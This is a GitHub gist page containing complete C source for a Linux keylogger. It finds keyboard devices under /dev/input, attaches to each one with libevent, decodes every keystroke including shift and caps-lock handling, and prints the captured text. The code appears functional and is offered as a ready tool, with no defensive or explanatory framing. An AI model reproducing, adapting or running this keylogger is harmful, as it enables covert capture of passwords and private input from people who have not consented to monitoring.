Created
July 4, 2010 06:11
-
-
Save errzey/463205 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdint.h> | |
#include <sys/ioctl.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <fcntl.h> | |
#include <errno.h> | |
#include <dirent.h> | |
#include <linux/input.h> | |
#include <event.h> | |
typedef struct { | |
uint8_t shift_mod; | |
uint8_t caps_mod; | |
struct event event; | |
} keyboard_t; | |
const char *keyboard_dir = "/dev/input"; | |
const char lowercase_map[] = { | |
0, 0, '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', | |
'-', '=', '\b', '\t', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', | |
'o', 'p', '[', ']', '\n', 0, 'a', 's', 'd', 'f', 'g', 'h', | |
'j', 'k', 'l', ';', '\'', '\n', 0, '\\', 'z', 'x', 'c', 'v', | |
'b', 'n', 'm', ',', '.', '/', 0, '*', 0, ' ', 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, '\r' | |
}; | |
const char uppercase_map[] = { | |
0, 0, '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', | |
'_', '+', '\b', '\t', 'Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I', | |
'O', 'P', '{', '}', '\n', 0, 'A', 'S', 'D', 'F', 'G', 'H', | |
'J', 'K', 'L', ':', '"', '\n', 0, '\\', 'Z', 'X', 'C', 'V', | |
'B', 'N', 'M', '<', '>', '?', 0, '*', 0, ' ', 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, | |
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, '\r' | |
}; | |
unsigned char | |
is_keyboard(const char *file) | |
{ | |
int fd; | |
uint8_t bitmask; | |
fd = open(file, O_RDONLY); | |
if (fd < 0) { | |
return(0); | |
} | |
if (ioctl(fd, EVIOCGBIT(0, EV_MAX), &bitmask) < 0) { | |
return(0); | |
} | |
#if DEBUG | |
fprintf(stderr, "[*] %s device bitmask: %X\n", file, bitmask); | |
#endif | |
/* make sure that the device supports EV_SYN and EV_KEY */ | |
if (!(bitmask & (1 << EV_SYN))) { | |
return(0); | |
} | |
if (!(bitmask & (1 << EV_KEY))) { | |
return(0); | |
} | |
/* make sure the device does not support EV_REL */ | |
if ((bitmask & (1 << EV_REL))) { | |
return(0); | |
} | |
/* make sure the device do not support EV_ABS */ | |
if ((bitmask & (1 << EV_ABS))) { | |
return(0); | |
} | |
return(1); | |
} | |
const char ** | |
keylogger_find_keyboards(void) | |
{ | |
const char **keyboards; | |
DIR *dip = NULL; | |
struct dirent *dit = NULL; | |
int i = 0; | |
dip = opendir(keyboard_dir); | |
if (dip == NULL) { | |
return(NULL); | |
} | |
keyboards = calloc(sizeof(char *), 1024); | |
if (keyboards == NULL) { | |
return(NULL); | |
} | |
while ((dit = readdir(dip)) != NULL) { | |
size_t tmplen = 0; | |
char *tmpbuf = NULL; | |
/* make sure it's a character device */ | |
if (dit->d_type != DT_CHR) { | |
continue; | |
} | |
tmplen = strlen(keyboard_dir) + strlen(dit->d_name) + 2; | |
tmpbuf = alloca(tmplen); | |
if (tmpbuf == NULL) { | |
return (NULL); | |
} | |
snprintf(tmpbuf, tmplen, "%s/%s", keyboard_dir, dit->d_name); | |
if (is_keyboard(tmpbuf)) { | |
fprintf(stderr, "[*] Found likely keyboard: %s\n", tmpbuf); | |
keyboards[i++] = strdup(tmpbuf); | |
if (i >= 1024) { | |
break; | |
} | |
} | |
} | |
return (keyboards); | |
} /* keylogger_find_keyboards */ | |
void | |
process_keystroke(int fd, short which, keyboard_t *kb) | |
{ | |
struct input_event input_event; | |
ssize_t bytes_read; | |
char key; | |
bytes_read = read(fd, &input_event, sizeof(struct input_event)); | |
if (bytes_read != sizeof(struct input_event)) { | |
fprintf(stderr, "[*] error reading device, ABORTING!\n"); | |
return; | |
} | |
#if DEBUG | |
if (input_event.type == 0) { | |
return; | |
} | |
if (input_event.type != EV_KEY) { | |
return; | |
} | |
fprintf(stdout, "type:%x code:%x value:%x\n", input_event.type, input_event.code, input_event.value); | |
#endif | |
/* make sure this is a keypress of some sort */ | |
if (input_event.type != EV_KEY) { | |
return; | |
} | |
/* look for some things that may modify the next stroke */ | |
switch (input_event.code) { | |
case KEY_RIGHTSHIFT: | |
case KEY_LEFTSHIFT: | |
kb->shift_mod = input_event.value; | |
return; | |
case KEY_RIGHTCTRL: | |
case KEY_LEFTCTRL: | |
/* I don't really care about ctrl chars */ | |
return; | |
case KEY_CAPSLOCK: | |
if (input_event.value == 1) { | |
if (kb->caps_mod) { | |
kb->caps_mod = 0; | |
} else { | |
kb->caps_mod = 1; | |
} | |
} | |
return; | |
} | |
if (input_event.value != 1) { | |
return; | |
} | |
if (input_event.code > sizeof(lowercase_map)) { | |
return; | |
} | |
if (kb->shift_mod) { | |
key = uppercase_map[input_event.code]; | |
if (kb->caps_mod) { | |
key = tolower(key); | |
} | |
} else { | |
key = lowercase_map[input_event.code]; | |
if (kb->caps_mod) { | |
key = toupper(key); | |
} | |
} | |
#ifndef DEBUG | |
fprintf(stdout, "%c", key ? key : 0); | |
fflush(stdout); | |
#endif | |
return; | |
} /* process_keystroke */ | |
int | |
keyboard_watcher_init(const char **keyboards) | |
{ | |
const char *keyboard = NULL; | |
while ((keyboard = *(keyboards++)) != NULL) { | |
int fd; | |
keyboard_t *kb; | |
fd = open(keyboard, O_RDONLY | O_NONBLOCK); | |
if (fd < 0) { | |
fprintf(stderr, "[*] Unable to attach to %s: %s\n", | |
keyboard, strerror(errno)); | |
continue; | |
} | |
kb = calloc(sizeof(keyboard_t), 1); | |
if (kb == NULL) { | |
return(-1); | |
} | |
event_set(&kb->event, fd, EV_READ | EV_PERSIST, | |
(void *)process_keystroke, (void *)kb); | |
event_add(&kb->event, 0); | |
} | |
return(0); | |
} | |
int main(int argc, char **argv) | |
{ | |
const char **keyboards; | |
keyboards = keylogger_find_keyboards(); | |
if (keyboards == NULL) { | |
fprintf(stderr, "error finding keyboards: %s\n", | |
strerror(errno)); | |
exit(1); | |
} | |
event_init(); | |
if (keyboard_watcher_init(keyboards) < 0) { | |
fprintf(stderr, "error setting up watcher: %s\n", | |
strerror(errno)); | |
return (1); | |
} | |
event_loop(0); | |
return (0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment